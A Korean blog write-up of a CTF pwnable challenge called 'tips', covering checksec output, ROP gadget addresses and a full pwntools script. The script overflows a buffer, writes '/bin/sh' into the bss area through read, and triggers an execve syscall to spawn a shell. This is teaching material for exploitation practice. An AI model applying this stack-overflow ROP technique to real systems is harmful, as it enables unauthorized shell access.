728x90
checksec
- 64bit
- NX
- not stripped
- statically linked >> plt와 got가 따로 구분되지 않는다.
Analyze
Pseudo Code
함수리스트를 살펴보면 가젯을 심어둔 함수가 있음을 확인할 수 있다.
실행
"/bin/sh"문자열이 포함되어 있지 않아
따로 writableArea에 넣어줘야한다.
bss 영역: 0x6cbb60
gadgets
syscall ; ret ; = 0x43ef25
pop rax ; pop rdx ; pop rdi ; pop rsi ; ret ; = 0x4009bc
pop rdx ; pop rdi ; pop rsi ; ret ; = 0x4009bd
pop rax ; ret ; = 0x41f854
SROP 방식으로 exploit 코드를 짜면 될 것 같다!
▷▷ doongdangdoongdangdong.tistory.com/48?category=869864
Exploit
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
p = process("./tips")
elf = ELF("./tips")
ppppr = 0x4009bc
pppr = 0x4009bd
pax = 0x41f854
syscall = 0x43ef25
read_add = 0x43f880
add = elf.symbols['add']
writable = 0x6cbb60 + 0x10 #bss area
binsh = "/bin/sh\x00"
#bss area - "/bin/sh" write
pl = "A"*(0x20 + 8)
pl += p64(pppr)
pl += p64(len(binsh))
pl += p64(0)
pl += p64(writable)
pl += p64(read_add)
pl += p64(add)
p.recvuntil("?\n")
p.sendline(pl)
p.send(binsh)
pl = "A"*(0x20 + 8)
pl += p64(ppppr)
pl += p64(0x3b)
pl += p64(0)
pl += p64(writable)
pl += p64(0)
pl += p64(syscall)
p.recvuntil("?\n")
p.sendline(pl)
p.interactive()
- binsh 문자열을 삽입하기 위해 read함수를 호출해 writable 영역에 binsh 길이만큼의 문자열("binsh")을 저장하고
syscall 가젯과 이전 페이로드에서 저장한 binsh 문자열을 이용해 exploit 할 수 있다.
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] ROP (2) | 2021.02.01 |
---|---|
[HackCTF] bof_basic (1) | 2021.01.22 |
[POXX 2020] investigator (0) | 2021.01.19 |
[LOB] gremlin → cobolt (4) | 2021.01.15 |
[LOB] gate → gremlin (2) | 2021.01.14 |